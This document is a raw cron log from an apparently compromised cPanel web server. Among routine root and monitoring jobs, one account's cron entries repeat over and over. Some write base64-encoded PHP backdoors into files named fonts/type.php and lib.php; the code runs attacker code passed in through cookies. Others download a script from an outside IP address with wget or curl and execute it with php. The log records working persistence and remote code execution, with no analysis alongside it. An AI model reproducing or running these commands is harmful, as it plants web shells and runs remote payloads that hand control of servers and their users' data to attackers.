Sep  6 02:42:01 ip-184-168-122-23 CROND[31969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:42:01 ip-184-168-122-23 CROND[31970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:42:01 ip-184-168-122-23 CROND[31971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:43:01 ip-184-168-122-23 CROND[32145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:43:01 ip-184-168-122-23 CROND[32146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:43:01 ip-184-168-122-23 CROND[32148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:43:01 ip-184-168-122-23 CROND[32147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:44:01 ip-184-168-122-23 CROND[32250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:44:01 ip-184-168-122-23 CROND[32254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:44:01 ip-184-168-122-23 CROND[32253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:44:01 ip-184-168-122-23 CROND[32251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:44:01 ip-184-168-122-23 CROND[32252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:45:01 ip-184-168-122-23 CROND[32365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:45:01 ip-184-168-122-23 CROND[32367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:45:01 ip-184-168-122-23 CROND[32368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:45:01 ip-184-168-122-23 CROND[32370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:45:01 ip-184-168-122-23 CROND[32366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:45:01 ip-184-168-122-23 CROND[32369]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:46:01 ip-184-168-122-23 CROND[32455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:46:01 ip-184-168-122-23 CROND[32459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:46:01 ip-184-168-122-23 CROND[32458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:46:01 ip-184-168-122-23 CROND[32457]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 02:46:01 ip-184-168-122-23 CROND[32460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:46:01 ip-184-168-122-23 CROND[32462]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 02:46:01 ip-184-168-122-23 CROND[32461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:47:01 ip-184-168-122-23 CROND[32551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:47:01 ip-184-168-122-23 CROND[32552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:47:01 ip-184-168-122-23 CROND[32554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:47:01 ip-184-168-122-23 CROND[32553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:48:01 ip-184-168-122-23 CROND[32671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:48:01 ip-184-168-122-23 CROND[32672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:48:01 ip-184-168-122-23 CROND[32673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:48:01 ip-184-168-122-23 CROND[32675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:48:01 ip-184-168-122-23 CROND[32679]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:49:01 ip-184-168-122-23 CROND[32764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:49:01 ip-184-168-122-23 CROND[32766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:49:01 ip-184-168-122-23 CROND[32767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:49:01 ip-184-168-122-23 CROND[300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:50:02 ip-184-168-122-23 CROND[422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:50:02 ip-184-168-122-23 CROND[420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:50:02 ip-184-168-122-23 CROND[423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:50:02 ip-184-168-122-23 CROND[421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:50:02 ip-184-168-122-23 CROND[425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:50:02 ip-184-168-122-23 CROND[424]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 02:50:02 ip-184-168-122-23 CROND[428]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:50:02 ip-184-168-122-23 CROND[426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:50:02 ip-184-168-122-23 CROND[427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:51:01 ip-184-168-122-23 CROND[623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:51:01 ip-184-168-122-23 CROND[621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:51:01 ip-184-168-122-23 CROND[624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:51:01 ip-184-168-122-23 CROND[626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:52:01 ip-184-168-122-23 CROND[718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:52:01 ip-184-168-122-23 CROND[719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:52:01 ip-184-168-122-23 CROND[720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:52:01 ip-184-168-122-23 CROND[721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:52:01 ip-184-168-122-23 CROND[722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:53:01 ip-184-168-122-23 CROND[848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:53:01 ip-184-168-122-23 CROND[849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:53:01 ip-184-168-122-23 CROND[850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:53:01 ip-184-168-122-23 CROND[851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:54:01 ip-184-168-122-23 CROND[958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
